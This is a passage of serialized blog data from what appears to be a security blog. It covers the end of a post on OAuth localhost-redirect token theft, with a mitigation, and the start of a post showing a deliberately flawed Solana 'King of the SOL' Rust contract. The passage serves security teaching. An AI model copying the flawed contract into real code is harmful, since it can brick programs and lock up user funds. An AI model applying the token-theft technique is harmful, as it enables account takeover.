",{"type":25,"tag":271,"props":84212,"children":84213},{"style":13603},[84214],{"type":30,"value":1065},{"type":25,"tag":271,"props":84216,"children":84217},{"style":14289},[84218],{"type":30,"value":25594},{"type":25,"tag":271,"props":84220,"children":84221},{"style":13625},[84222],{"type":30,"value":16299},{"type":25,"tag":271,"props":84224,"children":84225},{"class":13593,"line":36877},[84226],{"type":25,"tag":271,"props":84227,"children":84228},{"style":13625},[84229],{"type":30,"value":16501},{"type":25,"tag":271,"props":84231,"children":84232},{"class":13593,"line":36885},[84233],{"type":25,"tag":271,"props":84234,"children":84235},{"style":13625},[84236],{"type":30,"value":17058},{"type":25,"tag":26,"props":84238,"children":84239},{},[84240],{"type":30,"value":84241},"The code essentially creates a localhost web server and redirects the user to the OAuth authorization screen, which can be automatically bypassed under certain conditionswithout any user interaction. Once the authorization process is completed, the OAuth flow redirects the user back to the localhost server, including the secret authorization token in the query string.",{"type":25,"tag":26,"props":84243,"children":84244},{},[84245],{"type":30,"value":84246},"Since the attacker controls the localhost server, they can intercept and extract the token, enabling them to take over the victim's account.",{"type":25,"tag":247,"props":84248,"children":84250},{"id":84249},"mitigation-1",[84251],{"type":30,"value":53447},{"type":25,"tag":26,"props":84253,"children":84254},{},[84255,84257,84262],{"type":30,"value":84256},"As a mitigation measure, it is crucial to ensure that localhost servers are not whitelisted in the OAuth ",{"type":25,"tag":264,"props":84258,"children":84260},{"className":84259},[],[84261],{"type":30,"value":82880},{"type":30,"value":84263}," parameter. If whitelisting localhost is necessary due to specific business requirements, a custom solution must be carefully designed and implemented to safeguard the account security of all users.",{"type":25,"tag":96,"props":84265,"children":84266},{"id":42044},[84267],{"type":30,"value":32068},{"type":25,"tag":26,"props":84269,"children":84270},{},[84271],{"type":30,"value":84272},"In this article, we explored three lesser-known classes of vulnerabilities present in Web2 authentication flows utilized by Web3 dApps, shedding light on critical but often overlooked security risks. Authentication processes are inherently complex, and this complexity leaves room for vulnerabilities to persist unnoticed in applications.",{"type":25,"tag":26,"props":84274,"children":84275},{},[84276],{"type":30,"value":84277},"By uncovering and analyzing these vulnerabilities, we aim to stress the necessity of adopting a robust, holistic approach to authentication security. As Web3 continues to evolve, bridging the gap between traditional Web2 frameworks and the decentralized Web3 ecosystem is not just an opportunity but an imperative to safeguard users and their data.",{"type":25,"tag":15963,"props":84279,"children":84280},{},[84281],{"type":30,"value":15967},{"title":7,"searchDepth":11641,"depth":11641,"links":84283},[84284,84291,84296,84299],{"id":82648,"depth":11641,"text":82651,"children":84285},[84286,84287,84288,84289,84290],{"id":82659,"depth":14354,"text":82662},{"id":82686,"depth":14354,"text":82689},{"id":82747,"depth":14354,"text":82750},{"id":82804,"depth":14354,"text":82807},{"id":82903,"depth":14354,"text":82906},{"id":82949,"depth":11641,"text":82952,"children":84292},[84293,84294,84295],{"id":82955,"depth":14354,"text":82958},{"id":82982,"depth":14354,"text":82985},{"id":53444,"depth":14354,"text":53447},{"id":83431,"depth":11641,"text":83434,"children":84297},[84298],{"id":84249,"depth":14354,"text":53447},{"id":42044,"depth":11641,"text":32068},"content:blog:2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3.md","blog/2025-03-07-subverting-web2-authentication-in-web3",{"_path":84304,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":84305,"description":84306,"author":53563,"image":84307,"date":84309,"isFeatured":18,"tags":84310,"onBlogPage":18,"body":84311,"_type":16004,"_id":88965,"_source":16006,"_file":88966,"_stem":88967,"_extension":16009},"/blog/2025-05-14-king-of-the-sol","Solana: The hidden dangers of lamport transfers","Solana’s lamport transfer logic hides dangerous edge cases — from rent-exemption quirks to write-demotion traps. We dissect a deceptively simple smart contract game to expose how transfers to arbitrary accounts can silently fail, brick your program, or crown an eternal king.",{"src":84308,"height":17,"width":17},"/posts/king-of-the-sol/king-of-the-sol.png","2025-05-14",[16021],{"type":22,"children":84312,"toc":88954},[84313,84317,84322,84336,84342,84347,84377,84382,84387,85425,85430,85438,85443,85449,85455,85467,85500,85512,85525,85537,85982,85987,86033,86039,86044,86131,86136,86150,86163,86826,86831,86843,86849,86860,86872,87026,87040,87059,87080,87086,87091,87436,87441,87447,87466,87480,88102,88107,88127,88132,88137,88143,88155,88176,88351,88357,88362,88663,88684,88696,88708,88792,88812,88824,88830,88842,88848,88853,88876,88888,88894,88906,88911,88917,88922,88927,88945,88950],{"type":25,"tag":96,"props":84314,"children":84315},{"id":42127},[84316],{"type":30,"value":42130},{"type":25,"tag":26,"props":84318,"children":84319},{},[84320],{"type":30,"value":84321},"Is it safe to transfer lamports to an arbitrary address on Solana? The answer might surprise you.",{"type":25,"tag":26,"props":84323,"children":84324},{},[84325,84327,84334],{"type":30,"value":84326},"In this post, we explore a deceptively simple smart contract game inspired by ",{"type":25,"tag":83,"props":84328,"children":84331},{"href":84329,"rel":84330},"https://www.kingoftheether.com/thrones/kingoftheether/index.html",[9066],[84332],{"type":30,"value":84333},"King of the Ether",{"type":30,"value":84335},". Through it, we’ll highlight subtle pitfalls in Solana’s account model that can brick your program — especially when it comes to transferring lamports.",{"type":25,"tag":96,"props":84337,"children":84339},{"id":84338},"the-game-king-of-the-sol",[84340],{"type":30,"value":84341},"The Game: King of the SOL",{"type":25,"tag":26,"props":84343,"children":84344},{},[84345],{"type":30,"value":84346},"The game works like this:",{"type":25,"tag":108,"props":84348,"children":84349},{},[84350,84362,84367,84372],{"type":25,"tag":112,"props":84351,"children":84352},{},[84353,84355,84360],{"type":30,"value":84354},"Anyone can become the ",{"type":25,"tag":38,"props":84356,"children":84357},{},[84358],{"type":30,"value":84359},"king",{"type":30,"value":84361}," by bidding at least 2× the previous bid.",{"type":25,"tag":112,"props":84363,"children":84364},{},[84365],{"type":30,"value":84366},"The old king is reimbursed 95% of their bid.",{"type":25,"tag":112,"props":84368,"children":84369},{},[84370],{"type":30,"value":84371},"The remaining 5% goes into a prize pot.",{"type":25,"tag":112,"props":84373,"children":84374},{},[84375],{"type":30,"value":84376},"If the reigning king survives for 10 days without being dethroned, they can claim the entire pot.",{"type":25,"tag":26,"props":84378,"children":84379},{},[84380],{"type":30,"value":84381},"Simple, right?",{"type":25,"tag":26,"props":84383,"children":84384},{},[84385],{"type":30,"value":84386},"This is the core logic:",{"type":25,"tag":7764,"props":84388,"children":84390},{"className":13586,"code":84389,"language":13585,"meta":7,"style":7},"#[derive(Accounts)]\npub struct ChangeKing\u003C'info> {\n    #[account(mut)]\n    pub throne: Account\u003C'info, Throne>,\n\n    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n    #[account(mut, constraint = old_king.key() == throne.king)]\n    pub old_king: AccountInfo\u003C'info>,\n\n    /// CHECK: any writable account is allowed as a new king.\n    #[account(mut)]\n    pub new_king: AccountInfo\u003C'info>,\n\n    #[account(mut)]\n    pub payer: Signer\u003C'info>,\n}\n\n#[program]\npub mod king_of_the_sol {\n    pub fn change_king(ctx: Context\u003CChangeKing>, bid_amount: u64) -> Result\u003C()> {\n        // Check that bid_amount is at least 2x last_bid_amount\n        assert!(bid_amount >= ctx.accounts.throne.last_bid_amount * 2);\n        transfer_from_signer(\n            &ctx.accounts.payer,\n            &ctx.accounts.throne.to_account_info(),\n            bid_amount,\n        )?;\n\n        // Reimburse 95% of the last bid to the old king\n        let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n        transfer_from_pda(\n            &ctx.accounts.throne.to_account_info(),\n            &ctx.accounts.old_king,\n            to_reimburse,\n        )?;\n\n        // Set new king\n        ctx.accounts.throne.king = ctx.accounts.new_king.key();\n        ctx.accounts.throne.last_bid_amount = bid_amount;\n        ctx.accounts.throne.last_time = Clock::get()?.unix_timestamp as u64;\n\n        Ok(())\n    }\n}\n",[84391],{"type":25,"tag":264,"props":84392,"children":84393},{"__ignoreMap":7},[84394,84409,84437,84452,84493,84500,84508,84559,84590,84597,84605,84620,84652,84659,84674,84705,84712,84719,84727,84744,84818,84826,84887,84899,84927,84967,84979,84995,85002,85010,85084,85096,85135,85163,85175,85190,85197,85205,85275,85319,85393,85400,85411,85418],{"type":25,"tag":271,"props":84395,"children":84396},{"class":13593,"line":13594},[84397,84401,84405],{"type":25,"tag":271,"props":84398,"children":84399},{"style":13625},[84400],{"type":30,"value":35937},{"type":25,"tag":271,"props":84402,"children":84403},{"style":13609},[84404],{"type":30,"value":35942},{"type":25,"tag":271,"props":84406,"children":84407},{"style":13625},[84408],{"type":30,"value":33379},{"type":25,"tag":271,"props":84410,"children":84411},{"class":13593,"line":11641},[84412,84416,84420,84425,84429,84433],{"type":25,"tag":271,"props":84413,"children":84414},{"style":14289},[84415],{"type":30,"value":14292},{"type":25,"tag":271,"props":84417,"children":84418},{"style":14289},[84419],{"type":30,"value":34271},{"type":25,"tag":271,"props":84421,"children":84422},{"style":13609},[84423],{"type":30,"value":84424}," ChangeKing",{"type":25,"tag":271,"props":84426,"children":84427},{"style":13625},[84428],{"type":30,"value":36022},{"type":25,"tag":271,"props":84430,"children":84431},{"style":13609},[84432],{"type":30,"value":36027},{"type":25,"tag":271,"props":84434,"children":84435},{"style":13625},[84436],{"type":30,"value":20404},{"type":25,"tag":271,"props":84438,"children":84439},{"class":13593,"line":14354},[84440,84444,84448],{"type":25,"tag":271,"props":84441,"children":84442},{"style":13625},[84443],{"type":30,"value":36229},{"type":25,"tag":271,"props":84445,"children":84446},{"style":14289},[84447],{"type":30,"value":16877},{"type":25,"tag":271,"props":84449,"children":84450},{"style":13625},[84451],{"type":30,"value":33379},{"type":25,"tag":271,"props":84453,"children":84454},{"class":13593,"line":14391},[84455,84459,84464,84468,84472,84476,84480,84484,84489],{"type":25,"tag":271,"props":84456,"children":84457},{"style":14289},[84458],{"type":30,"value":33963},{"type":25,"tag":271,"props":84460,"children":84461},{"style":13598},[84462],{"type":30,"value":84463}," throne",{"type":25,"tag":271,"props":84465,"children":84466},{"style":13603},[84467],{"type":30,"value":359},{"type":25,"tag":271,"props":84469,"children":84470},{"style":13609},[84471],{"type":30,"value":36194},{"type":25,"tag":271,"props":84473,"children":84474},{"style":13625},[84475],{"type":30,"value":36022},{"type":25,"tag":271,"props":84477,"children":84478},{"style":13609},[84479],{"type":30,"value":36027},{"type":25,"tag":271,"props":84481,"children":84482},{"style":13625},[84483],{"type":30,"value":44},{"type":25,"tag":271,"props":84485,"children":84486},{"style":13609},[84487],{"type":30,"value":84488},"Throne",{"type":25,"tag":271,"props":84490,"children":84491},{"style":13625},[84492],{"type":30,"value":19267},{"type":25,"tag":271,"props":84494,"children":84495},{"class":13593,"line":14400},[84496],{"type":25,"tag":271,"props":84497,"children":84498},{"emptyLinePlaceholder":18},[84499],{"type":30,"value":16829},{"type":25,"tag":271,"props":84501,"children":84502},{"class":13593,"line":16406},[84503],{"type":25,"tag":271,"props":84504,"children":84505},{"style":14385},[84506],{"type":30,"value":84507},"    /// CHECK: old_king gets a 95% refund, so ensure its writable.\n",{"type":25,"tag":271,"props":84509,"children":84510},{"class":13593,"line":16434},[84511,84515,84519,84524,84528,84533,84537,84542,84546,84550,84554],{"type":25,"tag":271,"props":84512,"children":84513},{"style":13625},[84514],{"type":30,"value":36229},{"type":25,"tag":271,"props":84516,"children":84517},{"style":14289},[84518],{"type":30,"value":16877},{"type":25,"tag":271,"props":84520,"children":84521},{"style":13625},[84522],{"type":30,"value":84523},", constraint ",{"type":25,"tag":271,"props":84525,"children":84526},{"style":13603},[84527],{"type":30,"value":1065},{"type":25,"tag":271,"props":84529,"children":84530},{"style":13625},[84531],{"type":30,"value":84532}," old_king",{"type":25,"tag":271,"props":84534,"children":84535},{"style":13603},[84536],{"type":30,"value":1860},{"type":25,"tag":271,"props":84538,"children":84539},{"style":13625},[84540],{"type":30,"value":84541},"key() ",{"type":25,"tag":271,"props":84543,"children":84544},{"style":13603},[84545],{"type":30,"value":21696},{"type":25,"tag":271,"props":84547,"children":84548},{"style":13625},[84549],{"type":30,"value":84463},{"type":25,"tag":271,"props":84551,"children":84552},{"style":13603},[84553],{"type":30,"value":1860},{"type":25,"tag":271,"props":84555,"children":84556},{"style":13625},[84557],{"type":30,"value":84558},"king)]\n",{"type":25,"tag":271,"props":84560,"children":84561},{"class":13593,"line":16447},[84562,84566,84570,84574,84578,84582,84586],{"type":25,"tag":271,"props":84563,"children":84564},{"style":14289},[84565],{"type":30,"value":33963},{"type":25,"tag":271,"props":84567,"children":84568},{"style":13598},[84569],{"type":30,"value":84532},{"type":25,"tag":271,"props":84571,"children":84572},{"style":13603},[84573],{"type":30,"value":359},{"type":25,"tag":271,"props":84575,"children":84576},{"style":13609},[84577],{"type":30,"value":38508},{"type":25,"tag":271,"props":84579,"children":84580},{"style":13625},[84581],{"type":30,"value":36022},{"type":25,"tag":271,"props":84583,"children":84584},{"style":13609},[84585],{"type":30,"value":36027},{"type":25,"tag":271,"props":84587,"children":84588},{"style":13625},[84589],{"type":30,"value":19267},{"type":25,"tag":271,"props":84591,"children":84592},{"class":13593,"line":16465},[84593],{"type":25,"tag":271,"props":84594,"children":84595},{"emptyLinePlaceholder":18},[84596],{"type":30,"value":16829},{"type":25,"tag":271,"props":84598,"children":84599},{"class":13593,"line":16486},[84600],{"type":25,"tag":271,"props":84601,"children":84602},{"style":14385},[84603],{"type":30,"value":84604},"    /// CHECK: any writable account is allowed as a new king.\n",{"type":25,"tag":271,"props":84606,"children":84607},{"class":13593,"line":16495},[84608,84612,84616],{"type":25,"tag":271,"props":84609,"children":84610},{"style":13625},[84611],{"type":30,"value":36229},{"type":25,"tag":271,"props":84613,"children":84614},{"style":14289},[84615],{"type":30,"value":16877},{"type":25,"tag":271,"props":84617,"children":84618},{"style":13625},[84619],{"type":30,"value":33379},{"type":25,"tag":271,"props":84621,"children":84622},{"class":13593,"line":16744},[84623,84627,84632,84636,84640,84644,84648],{"type":25,"tag":271,"props":84624,"children":84625},{"style":14289},[84626],{"type":30,"value":33963},{"type":25,"tag":271,"props":84628,"children":84629},{"style":13598},[84630],{"type":30,"value":84631}," new_king",{"type":25,"tag":271,"props":84633,"children":84634},{"style":13603},[84635],{"type":30,"value":359},{"type":25,"tag":271,"props":84637,"children":84638},{"style":13609},[84639],{"type":30,"value":38508},{"type":25,"tag":271,"props":84641,"children":84642},{"style":13625},[84643],{"type":30,"value":36022},{"type":25,"tag":271,"props":84645,"children":84646},{"style":13609},[84647],{"type":30,"value":36027},{"type":25,"tag":271,"props":84649,"children":84650},{"style":13625},[84651],{"type":30,"value":19267},{"type":25,"tag":271,"props":84653,"children":84654},{"class":13593,"line":16761},[84655],{"type":25,"tag":271,"props":84656,"children":84657},{"emptyLinePlaceholder":18},[84658],{"type":30,"value":16829},{"type":25,"tag":271,"props":84660,"children":84661},{"class":13593,"line":16778},[84662,84666,84670],{"type":25,"tag":271,"props":84663,"children":84664},{"style":13625},[84665],{"type":30,"value":36229},{"type":25,"tag":271,"props":84667,"children":84668},{"style":14289},[84669],{"type":30,"value":16877},{"type":25,"tag":271,"props":84671,"children":84672},{"style":13625},[84673],{"type":30,"value":33379},{"type":25,"tag":271,"props":84675,"children":84676},{"class":13593,"line":16791},[84677,84681,84685,84689,84693,84697,84701],{"type":25,"tag":271,"props":84678,"children":84679},{"style":14289},[84680],{"type":30,"value":33963},{"type":25,"tag":271,"props":84682,"children":84683},{"style":13598},[84684],{"type":30,"value":55353},{"type":25,"tag":271,"props":84686,"children":84687},{"style":13603},[84688],{"type":30,"value":359},{"type":25,"tag":271,"props":84690,"children":84691},{"style":13609},[84692],{"type":30,"value":36258},{"type":25,"tag":271,"props":84694,"children":84695},{"style":13625},[84696],{"type":30,"value":36022},{"type":25,"tag":271,"props":84698,"children":84699},{"style":13609},[84700],{"type":30,"value":36027},{"type":25,"tag":271,"props":84702,"children":84703},{"style":13625},[84704],{"type":30,"value":19267},{"type":25,"tag":271,"props":84706,"children":84707},{"class":13593,"line":16800},[84708],{"type":25,"tag":271,"props":84709,"children":84710},{"style":13625},[84711],{"type":30,"value":17058},{"type":25,"tag":271,"props":84713,"children":84714},{"class":13593,"line":16823},[84715],{"type":25,"tag":271,"props":84716,"children":84717},{"emptyLinePlaceholder":18},[84718],{"type":30,"value":16829},{"type":25,"tag":271,"props":84720,"children":84721},{"class":13593,"line":16832},[84722],{"type":25,"tag":271,"props":84723,"children":84724},{"style":13625},[84725],{"type":30,"value":84726},"#[program]\n",{"type":25,"tag":271,"props":84728,"children":84729},{"class":13593,"line":16841},[84730,84734,84739],{"type":25,"tag":271,"props":84731,"children":84732},{"style":14289},[84733],{"type":30,"value":14292},{"type":25,"tag":271,"props":84735,"children":84736},{"style":14289},[84737],{"type":30,"value":84738}," mod",{"type":25,"tag":271,"props":84740,"children":84741},{"style":13625},[84742],{"type":30,"value":84743}," king_of_the_sol {\n",{"type":25,"tag":271,"props":84745,"children":84746},{"class":13593,"line":16907},[84747,84751,84755,84760,84764,84768,84772,84776,84780,84785,84789,84794,84798,84802,84806,84810,84814],{"type":25,"tag":271,"props":84748,"children":84749},{"style":14289},[84750],{"type":30,"value":33963},{"type":25,"tag":271,"props":84752,"children":84753},{"style":14289},[84754],{"type":30,"value":14297},{"type":25,"tag":271,"props":84756,"children":84757},{"style":13620},[84758],{"type":30,"value":84759}," change_king",{"type":25,"tag":271,"props":84761,"children":84762},{"style":13625},[84763],{"type":30,"value":394},{"type":25,"tag":271,"props":84765,"children":84766},{"style":13598},[84767],{"type":30,"value":33401},{"type":25,"tag":271,"props":84769,"children":84770},{"style":13603},[84771],{"type":30,"value":359},{"type":25,"tag":271,"props":84773,"children":84774},{"style":13609},[84775],{"type":30,"value":33410},{"type":25,"tag":271,"props":84777,"children":84778},{"style":13625},[84779],{"type":30,"value":14307},{"type":25,"tag":271,"props":84781,"children":84782},{"style":13609},[84783],{"type":30,"value":84784},"ChangeKing",{"type":25,"tag":271,"props":84786,"children":84787},{"style":13625},[84788],{"type":30,"value":14438},{"type":25,"tag":271,"props":84790,"children":84791},{"style":13598},[84792],{"type":30,"value":84793},"bid_amount",{"type":25,"tag":271,"props":84795,"children":84796},{"style":13603},[84797],{"type":30,"value":359},{"type":25,"tag":271,"props":84799,"children":84800},{"style":13609},[84801],{"type":30,"value":18991},{"type":25,"tag":271,"props":84803,"children":84804},{"style":13625},[84805],{"type":30,"value":14406},{"type":25,"tag":271,"props":84807,"children":84808},{"style":13603},[84809],{"type":30,"value":14411},{"type":25,"tag":271,"props":84811,"children":84812},{"style":13609},[84813],{"type":30,"value":14416},{"type":25,"tag":271,"props":84815,"children":84816},{"style":13625},[84817],{"type":30,"value":33452},{"type":25,"tag":271,"props":84819,"children":84820},{"class":13593,"line":16915},[84821],{"type":25,"tag":271,"props":84822,"children":84823},{"style":14385},[84824],{"type":30,"value":84825},"        // Check that bid_amount is at least 2x last_bid_amount\n",{"type":25,"tag":271,"props":84827,"children":84828},{"class":13593,"line":16945},[84829,84833,84837,84841,84845,84849,84853,84857,84861,84866,84870,84875,84879,84883],{"type":25,"tag":271,"props":84830,"children":84831},{"style":13620},[84832],{"type":30,"value":77562},{"type":25,"tag":271,"props":84834,"children":84835},{"style":13625},[84836],{"type":30,"value":394},{"type":25,"tag":271,"props":84838,"children":84839},{"style":13598},[84840],{"type":30,"value":84793},{"type":25,"tag":271,"props":84842,"children":84843},{"style":13603},[84844],{"type":30,"value":21423},{"type":25,"tag":271,"props":84846,"children":84847},{"style":13598},[84848],{"type":30,"value":38953},{"type":25,"tag":271,"props":84850,"children":84851},{"style":13603},[84852],{"type":30,"value":1860},{"type":25,"tag":271,"props":84854,"children":84855},{"style":13625},[84856],{"type":30,"value":27796},{"type":25,"tag":271,"props":84858,"children":84859},{"style":13603},[84860],{"type":30,"value":1860},{"type":25,"tag":271,"props":84862,"children":84863},{"style":13625},[84864],{"type":30,"value":84865},"throne",{"type":25,"tag":271,"props":84867,"children":84868},{"style":13603},[84869],{"type":30,"value":1860},{"type":25,"tag":271,"props":84871,"children":84872},{"style":13625},[84873],{"type":30,"value":84874},"last_bid_amount ",{"type":25,"tag":271,"props":84876,"children":84877},{"style":13603},[84878],{"type":30,"value":17702},{"type":25,"tag":271,"props":84880,"children":84881},{"style":16187},[84882],{"type":30,"value":21056},{"type":25,"tag":271,"props":84884,"children":84885},{"style":13625},[84886],{"type":30,"value":13665},{"type":25,"tag":271,"props":84888,"children":84889},{"class":13593,"line":16953},[84890,84895],{"type":25,"tag":271,"props":84891,"children":84892},{"style":13620},[84893],{"type":30,"value":84894},"        transfer_from_signer",{"type":25,"tag":271,"props":84896,"children":84897},{"style":13625},[84898],{"type":30,"value":16609},{"type":25,"tag":271,"props":84900,"children":84901},{"class":13593,"line":16984},[84902,84906,84910,84914,84918,84922],{"type":25,"tag":271,"props":84903,"children":84904},{"style":13603},[84905],{"type":30,"value":20806},{"type":25,"tag":271,"props":84907,"children":84908},{"style":13598},[84909],{"type":30,"value":33401},{"type":25,"tag":271,"props":84911,"children":84912},{"style":13603},[84913],{"type":30,"value":1860},{"type":25,"tag":271,"props":84915,"children":84916},{"style":13625},[84917],{"type":30,"value":27796},{"type":25,"tag":271,"props":84919,"children":84920},{"style":13603},[84921],{"type":30,"value":1860},{"type":25,"tag":271,"props":84923,"children":84924},{"style":13625},[84925],{"type":30,"value":84926},"payer,\n",{"type":25,"tag":271,"props":84928,"children":84929},{"class":13593,"line":16992},[84930,84934,84938,84942,84946,84950,84954,84958,84963],{"type":25,"tag":271,"props":84931,"children":84932},{"style":13603},[84933],{"type":30,"value":20806},{"type":25,"tag":271,"props":84935,"children":84936},{"style":13598},[84937],{"type":30,"value":33401},{"type":25,"tag":271,"props":84939,"children":84940},{"style":13603},[84941],{"type":30,"value":1860},{"type":25,"tag":271,"props":84943,"children":84944},{"style":13625},[84945],{"type":30,"value":27796},{"type":25,"tag":271,"props":84947,"children":84948},{"style":13603},[84949],{"type":30,"value":1860},{"type":25,"tag":271,"props":84951,"children":84952},{"style":13625},[84953],{"type":30,"value":84865},{"type":25,"tag":271,"props":84955,"children":84956},{"style":13603},[84957],{"type":30,"value":1860},{"type":25,"tag":271,"props":84959,"children":84960},{"style":13620},[84961],{"type":30,"value":84962},"to_account_info",{"type":25,"tag":271,"props":84964,"children":84965},{"style":13625},[84966],{"type":30,"value":16636},{"type":25,"tag":271,"props":84968,"children":84969},{"class":13593,"line":17052},[84970,84975],{"type":25,"tag":271,"props":84971,"children":84972},{"style":13598},[84973],{"type":30,"value":84974},"            bid_amount",{"type":25,"tag":271,"props":84976,"children":84977},{"style":13625},[84978],{"type":30,"value":14351},{"type":25,"tag":271,"props":84980,"children":84981},{"class":13593,"line":22168},[84982,84987,84991],{"type":25,"tag":271,"props":84983,"children":84984},{"style":13625},[84985],{"type":30,"value":84986},"        )",{"type":25,"tag":271,"props":84988,"children":84989},{"style":13603},[84990],{"type":30,"value":5632},{"type":25,"tag":271,"props":84992,"children":84993},{"style":13625},[84994],{"type":30,"value":16165},{"type":25,"tag":271,"props":84996,"children":84997},{"class":13593,"line":22186},[84998],{"type":25,"tag":271,"props":84999,"children":85000},{"emptyLinePlaceholder":18},[85001],{"type":30,"value":16829},{"type":25,"tag":271,"props":85003,"children":85004},{"class":13593,"line":22231},[85005],{"type":25,"tag":271,"props":85006,"children":85007},{"style":14385},[85008],{"type":30,"value":85009},"        // Reimburse 95% of the last bid to the old king\n",{"type":25,"tag":271,"props":85011,"children":85012},{"class":13593,"line":22337},[85013,85017,85022,85026,85030,85034,85038,85042,85046,85050,85054,85058,85062,85067,85071,85075,85080],{"type":25,"tag":271,"props":85014,"children":85015},{"style":14289},[85016],{"type":30,"value":16208},{"type":25,"tag":271,"props":85018,"children":85019},{"style":13598},[85020],{"type":30,"value":85021}," to_reimburse",{"type":25,"tag":271,"props":85023,"children":85024},{"style":13603},[85025],{"type":30,"value":16155},{"type":25,"tag":271,"props":85027,"children":85028},{"style":13625},[85029],{"type":30,"value":16213},{"type":25,"tag":271,"props":85031,"children":85032},{"style":13598},[85033],{"type":30,"value":33401},{"type":25,"tag":271,"props":85035,"children":85036},{"style":13603},[85037],{"type":30,"value":1860},{"type":25,"tag":271,"props":85039,"children":85040},{"style":13625},[85041],{"type":30,"value":27796},{"type":25,"tag":271,"props":85043,"children":85044},{"style":13603},[85045],{"type":30,"value":1860},{"type":25,"tag":271,"props":85047,"children":85048},{"style":13625},[85049],{"type":30,"value":84865},{"type":25,"tag":271,"props":85051,"children":85052},{"style":13603},[85053],{"type":30,"value":1860},{"type":25,"tag":271,"props":85055,"children":85056},{"style":13625},[85057],{"type":30,"value":84874},{"type":25,"tag":271,"props":85059,"children":85060},{"style":13603},[85061],{"type":30,"value":17702},{"type":25,"tag":271,"props":85063,"children":85064},{"style":16187},[85065],{"type":30,"value":85066}," 9500",{"type":25,"tag":271,"props":85068,"children":85069},{"style":13625},[85070],{"type":30,"value":14406},{"type":25,"tag":271,"props":85072,"children":85073},{"style":13603},[85074],{"type":30,"value":7621},{"type":25,"tag":271,"props":85076,"children":85077},{"style":16187},[85078],{"type":30,"value":85079}," 10000",{"type":25,"tag":271,"props":85081,"children":85082},{"style":13625},[85083],{"type":30,"value":16165},{"type":25,"tag":271,"props":85085,"children":85086},{"class":13593,"line":36608},[85087,85092],{"type":25,"tag":271,"props":85088,"children":85089},{"style":13620},[85090],{"type":30,"value":85091},"        transfer_from_pda",{"type":25,"tag":271,"props":85093,"children":85094},{"style":13625},[85095],{"type":30,"value":16609},{"type":25,"tag":271,"props":85097,"children":85098},{"class":13593,"line":36643},[85099,85103,85107,85111,85115,85119,85123,85127,85131],{"type":25,"tag":271,"props":85100,"children":85101},{"style":13603},[85102],{"type":30,"value":20806},{"type":25,"tag":271,"props":85104,"children":85105},{"style":13598},[85106],{"type":30,"value":33401},{"type":25,"tag":271,"props":85108,"children":85109},{"style":13603},[85110],{"type":30,"value":1860},{"type":25,"tag":271,"props":85112,"children":85113},{"style":13625},[85114],{"type":30,"value":27796},{"type":25,"tag":271,"props":85116,"children":85117},{"style":13603},[85118],{"type":30,"value":1860},{"type":25,"tag":271,"props":85120,"children":85121},{"style":13625},[85122],{"type":30,"value":84865},{"type":25,"tag":271,"props":85124,"children":85125},{"style":13603},[85126],{"type":30,"value":1860},{"type":25,"tag":271,"props":85128,"children":85129},{"style":13620},[85130],{"type":30,"value":84962},{"type":25,"tag":271,"props":85132,"children":85133},{"style":13625},[85134],{"type":30,"value":16636},{"type":25,"tag":271,"props":85136,"children":85137},{"class":13593,"line":36651},[85138,85142,85146,85150,85154,85158],{"type":25,"tag":271,"props":85139,"children":85140},{"style":13603},[85141],{"type":30,"value":20806},{"type":25,"tag":271,"props":85143,"children":85144},{"style":13598},[85145],{"type":30,"value":33401},{"type":25,"tag":271,"props":85147,"children":85148},{"style":13603},[85149],{"type":30,"value":1860},{"type":25,"tag":271,"props":85151,"children":85152},{"style":13625},[85153],{"type":30,"value":27796},{"type":25,"tag":271,"props":85155,"children":85156},{"style":13603},[85157],{"type":30,"value":1860},{"type":25,"tag":271,"props":85159,"children":85160},{"style":13625},[85161],{"type":30,"value":85162},"old_king,\n",{"type":25,"tag":271,"props":85164,"children":85165},{"class":13593,"line":36659},[85166,85171],{"type":25,"tag":271,"props":85167,"children":85168},{"style":13598},[85169],{"type":30,"value":85170},"            to_reimburse",{"type":25,"tag":271,"props":85172,"children":85173},{"style":13625},[85174],{"type":30,"value":14351},{"type":25,"tag":271,"props":85176,"children":85177},{"class":13593,"line":36668},[85178,85182,85186],{"type":25,"tag":271,"props":85179,"children":85180},{"style":13625},[85181],{"type":30,"value":84986},{"type":25,"tag":271,"props":85183,"children":85184},{"style":13603},[85185],{"type":30,"value":5632},{"type":25,"tag":271,"props":85187,"children":85188},{"style":13625},[85189],{"type":30,"value":16165},{"type":25,"tag":271,"props":85191,"children":85192},{"class":13593,"line":36710},[85193],{"type":25,"tag":271,"props":85194,"children":85195},{"emptyLinePlaceholder":18},[85196],{"type":30,"value":16829},{"type":25,"tag":271,"props":85198,"children":85199},{"class":13593,"line":36743},[85200],{"type":25,"tag":271,"props":85201,"children":85202},{"style":14385},[85203],{"type":30,"value":85204},"        // Set new king\n",{"type":25,"tag":271,"props":85206,"children":85207},{"class":13593,"line":36751},[85208,85212,85216,85220,85224,85228,85232,85237,85241,85245,85249,85253,85257,85262,85266,85271],{"type":25,"tag":271,"props":85209,"children":85210},{"style":13598},[85211],{"type":30,"value":39296},{"type":25,"tag":271,"props":85213,"children":85214},{"style":13603},[85215],{"type":30,"value":1860},{"type":25,"tag":271,"props":85217,"children":85218},{"style":13625},[85219],{"type":30,"value":27796},{"type":25,"tag":271,"props":85221,"children":85222},{"style":13603},[85223],{"type":30,"value":1860},{"type":25,"tag":271,"props":85225,"children":85226},{"style":13625},[85227],{"type":30,"value":84865},{"type":25,"tag":271,"props":85229,"children":85230},{"style":13603},[85231],{"type":30,"value":1860},{"type":25,"tag":271,"props":85233,"children":85234},{"style":13625},[85235],{"type":30,"value":85236},"king 